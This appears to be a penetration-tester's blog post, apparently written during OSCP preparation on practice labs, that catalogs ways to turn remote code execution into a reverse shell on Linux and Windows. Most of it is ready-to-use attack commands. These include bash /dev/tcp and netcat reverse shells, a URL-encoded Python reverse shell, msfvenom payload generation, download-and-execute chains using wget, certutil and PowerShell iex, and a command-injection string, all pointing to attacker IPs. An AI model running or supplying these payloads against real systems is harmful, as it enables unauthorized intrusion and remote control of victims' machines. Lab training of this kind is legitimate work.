🖥️️ RCE to Shell Techniques 🐚
You have Remote Code Execution on a vulnerable machine, but how do you get a shell?
While hacking vulnerable machines, you’ll find neat exploits that give you a shell on the target automatically. However, most exploits merely give Remote Code Execution(RCE) which needs to be utilized to execute further commands on a target to get a shell connection. This isn’t always straight forward, and involves alot of trail and error. Testing different reverse shell payloads and trying different techniques…
In this post, I’ve documented all the techniques I’ve found in going from RCE to shell for Linux and Windows machines. I’ve found these techniques while preparing for the OSCP exam, on ethical hacking lab platforms including Hack the Box, TryHackMe, Proving Grounds, and Pentesting with Kali Linux(PWK) Labs
Linux
Shellgen
For finding commands that launch reverse shells from a RCE exploit on Linux targets, I always use this script. Shellgen is great because it covers just about every payload you’ll find in cheatsheets on the internet.
You can enter your IP manually into the script or select by network interface, then specify the desired port. Then it gives you an option to generate a command in your desired scripting language. You can then copy paste that script in your desired RCE vector. Here’s an example on how to use it:
bash shellgen.sh tun0 80
Here I used a similar bash payload with OpenEMR < 5.0.1 — (Authenticated) Remote Code Execution in the retired Hack the Box Cache machine:
python 45161.py http://hms.htb/ -u openemr_admin -p xxxxxx -c ‘bash -i >& /dev/tcp/10.10.14.14/1337 0>&1’
Works like a charm.
It’s important to note that some vulnerable machines have some kind of firewall rules or something blocking outbound ports. In those machines using port 4444
or 1337
wont work. I default to making my reverse shell use port 80
for almost every vulnerable machine has port 80 open to host a website and has outbound traffic allowed.
These two payloads bellow I found very handy but are not included in the Shellgen script. You should add them yourself or make note of them, for when no other payloads work, these might:
ncat 10.10.10.10 80 -e /bin/shbash -c 'bash -i >& /dev/tcp/10.10.10.10/80 0>&1'
Web shell or Limited Shell
The most common situation of having RCE is when you have some sort of web shell on the target, perhaps though PHP or ASP. The following techniques also applies to any other kind of limited shell. Finding which reverse shell payloads is usually a matter of trial and error:
First I try these:
bash -i >& /dev/tcp/192.168.49.102/80 0>&1"bash -c 'bash -i >& /dev/tcp/192.168.49.203/80 0>&1'"
If that doesn’t work, echo the code into a file, then try running the shell script:
echo "bash -i >& /dev/tcp/192.168.49.102/8080 0>&1" > /tmp/shell.shbash /tmp/shell.sh
If all else fails, try this URL encoded python reverse shell payload:
python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.14%22%2C443))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27%0A
.elf file for web shell
Another way to get a shell from a webshell is to upload a .elf reverse shell payload and execute it. I’ve found this most effective when exploiting Wordpress websites.
- Generate shell payload
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.180 LPORT=80 -f elf > shell.elf
2. Host the shell.elf payload on a web server
python3 -m http.server
3. Download the payload and execute on target. This can be done with curl or directly on the web browser. Note some characters are URL encoded:
wget%20http://192.168.49.180/shell.elfchmod%20%2bx%20shell.elf./shell.elf
Upload netcat to target
This method is slightly faster than the previous because rather than generating a payload, you just upload a netcat static binary and execute a reverse shell with netcat. Download a netcat static binary here: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
- Host on a web server
python3 -m http.server
2. Download the netcat static binary to the target
wget http://192.168.49.102:8000/ncat
3. Make it executable
chmod +x ncat.elf
4. Execute netcat command for reverse shell
./ncat 192.168.49.102 80 -e /bin/sh
Command injection
Sometimes getting shell from a command injection vector could be a bit of a challenge here are two examples.
The most straight forward command injection is to just execute a reverse shell using netcat:
aaaa;`nc+-e+/bin/sh+192.168.49.203+80`
Sometimes you have command injection but though another language than bash, like python:
os.system("nc -e /bin/sh 192.168.49.180 80")
Windows
Powershell Nishang script
Using Nishang Invoke-PowerShellTcp.ps1 script is the most reliable way I’ve found to get RCE to shell on a windows target. First, download the Invoke-PowerShellTcp.ps1 script to your attacking host: https://github.com/samratashok/nishang/raw/master/Shells/Invoke-PowerShellTcp.ps1
This can work on limited web shells on a target or even exploits that performs RCE blindly.
- Modify the very end of Invoke-PowerShellTcp.ps1 to execute with your ip and port.
2. Host Invoke-PowerShellTcp.ps1 on a web server.
python3 -m http.server
3. Use RCE or webshell to run powershell command to download and execute Invoke-PowerShellTcp.ps1 :
powershell iex(new-object net.webclient).downloadstring('http://10.10.14.29:8000/Invoke-PowerShellTcp.ps1')
Here’s an example of how to use this command above in a RCE exploit called “web.config file upload RCE (ISS 7.5 RCE file upload (.config))” on the Hack the Box Bounty machine:
Upload nc.exe
If you’re able to upload a netcat executable and run it, you can get a shell running pretty fast. Download a netcat executable from here: https://github.com/remembercds/privesc-go-bag/raw/main/windows/nc.exe
- Host nc.exe on a web server
python3 -m http.server
2. Download nc.exe onto the windows target with certutils
certutil -urlcache -split -f "http://192.168.49.102/nc.exe" nc.exe
3. Execute a reverse shell
nc.exe 192.168.49.102 80 -e cmd.exe